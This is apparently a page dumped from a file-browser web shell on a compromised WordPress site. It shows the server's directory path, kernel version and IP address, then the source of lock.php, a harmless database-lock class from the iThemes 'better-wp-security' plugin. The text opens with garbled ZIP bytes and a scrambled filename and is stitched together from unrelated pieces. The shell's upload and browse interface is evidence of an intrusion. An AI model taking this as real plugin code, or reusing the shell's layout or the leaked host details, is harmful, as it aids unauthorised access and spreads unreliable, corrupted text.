PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/craftgigstars.online/wp-content/plugins/better-wp-security/core/lib/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/craftgigstars.online/wp-content/plugins/better-wp-security/core/lib/lock.php

<?php

final class ITSEC_Lock {
	public static function get( $name, $expiration = HOUR_IN_SECONDS, $allow_api_request = false ) {
		global $wpdb;

		if ( ! $allow_api_request && ITSEC_Core::is_api_request() ) {
			return false;
		}

		$lock = "itsec-lock-$name";
		$now = time();

		if ( ! empty( $wpdb->sitemeta ) ) {
			$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->sitemeta` (`site_id`, `meta_key`, `meta_value`) VALUES (%d, %s, %s) /* LOCK */", $wpdb->siteid, $lock, $now ) );
		} else {
			$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') /* LOCK */", $lock, $now ) );
		}

		if ( ! $result ) {
			// The lock exists. See if it has expired.

			$locked = get_site_option( $lock );

			if ( ! $locked ) {
				// Can't write or read the lock. Bail due to an unknown and hopefully temporary error.
				return false;
			}

			if ( $locked > $now - $expiration ) {
				// The lock still exists and has not expired.
				return false;
			}
		}

		// Ensure that the lock is set properly by triggering all the regular actions and filters.
		update_site_option( $lock, $now );

		return true;
	}

	public static function remove( $name ) {
		$lock = "itsec-lock-$name";

		delete_site_option( $lock );
	}
}